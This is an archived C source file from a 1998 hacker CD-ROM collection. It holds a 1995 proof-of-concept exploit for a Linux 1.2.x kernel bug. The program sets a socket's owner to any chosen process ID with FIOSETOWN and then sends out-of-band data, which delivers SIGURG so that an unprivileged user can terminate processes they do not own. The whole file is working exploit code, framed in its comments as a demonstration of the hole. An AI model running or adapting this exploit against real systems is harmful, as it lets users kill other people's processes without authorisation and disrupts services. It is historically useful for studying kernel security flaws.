home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_si.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  2.6 KB  |  83 lines

  1.  
  2. /*
  3. This program, when run on most Linux systems (tested with 1.2.9,
  4. but should work with versions at least up to 1.2.11 and 1.3.6),
  5. will send SIGURG to specified process, even if you don't own it.
  6. This signal (unless caught or ignored) will terminate the process,
  7. so please don't do that without the permission from your system
  8. administrator.  Thank you.
  9.  
  10. Copyright (C) 1995 Marek Michalkiewicz
  11.  
  12. This program is free software, see the GNU General Public License
  13. for more legalese...  There is no warranty - after all, this bug
  14. may be fixed soon :-).
  15.  
  16. This piece of code is probably not an example of proper programming
  17. style - please don't look at it too closely.  The intent is to show
  18. a security hole in the Linux kernel.
  19. */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <unistd.h>
  25. #include <sys/types.h>
  26. #include <sys/ioctl.h>
  27. #include <sys/socket.h>
  28. #include <netinet/in.h>
  29.  
  30. #define PORT 8765  /* just a random hopefully unused TCP port */
  31.  
  32. #define ERROR_CHECK(x, msg) do { \
  33.         if ((x) == -1) { \
  34.                 perror(msg); \
  35.                 exit(1); \
  36.         } \
  37. } while (0)
  38.  
  39. int main(int argc, char *argv[])
  40. {
  41.         int s, s1, child_pid;
  42.         struct sockaddr_in addr;
  43.         int one = 1;
  44.         char c = 0;
  45.  
  46.         if (argc != 2) {
  47.                 fprintf(stderr, "usage: %s pid\n", argv[0]);
  48.                 exit(1);
  49.         }
  50.         ERROR_CHECK( s = socket(AF_INET, SOCK_STREAM, 0), "socket" );
  51.         ERROR_CHECK( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one),
  52.  "setsockopt" );
  53.         memset(&addr, 0, sizeof addr);
  54.         addr.sin_family = AF_INET;
  55.         addr.sin_port = htons(PORT);
  56.         addr.sin_addr.s_addr = INADDR_ANY;
  57.         ERROR_CHECK( bind(s, (struct sockaddr *) &addr, sizeof addr), "bind" );
  58.         ERROR_CHECK( listen(s, 1), "listen" );
  59.         ERROR_CHECK( child_pid = fork(), "fork" );
  60.         if (child_pid == 0) {  /* child */
  61.                 int pid_to_kill = atoi(argv[1]);
  62.  
  63.                 ERROR_CHECK( s1 = socket(AF_INET, SOCK_STREAM, 0), "child socke
  64. t" );
  65.                 ERROR_CHECK( connect(s1, (struct sockaddr *) &addr, sizeof addr
  66. ), "child connect" );
  67.                 ERROR_CHECK( ioctl(s1, FIOSETOWN, &pid_to_kill), "child ioctl"
  68. );  /* !!! */
  69.                 ERROR_CHECK( write(s1, &c, 1), "child write" );  /* wake up blo
  70. cked parent */
  71.                 ERROR_CHECK( read(s1, &c, 1), "child read" );
  72.                 _exit(0);
  73.         }
  74.         ERROR_CHECK( s1 = accept(s, NULL, NULL), "accept" );
  75.         ERROR_CHECK( read(s1, &c, 1), "read" );  /* block until child is ready
  76. */
  77.         ERROR_CHECK( send(s1, &c, 1, MSG_OOB), "send" );  /* this will send SIG
  78. URG */
  79.         return 0;
  80. }
  81.  
  82.  
  83.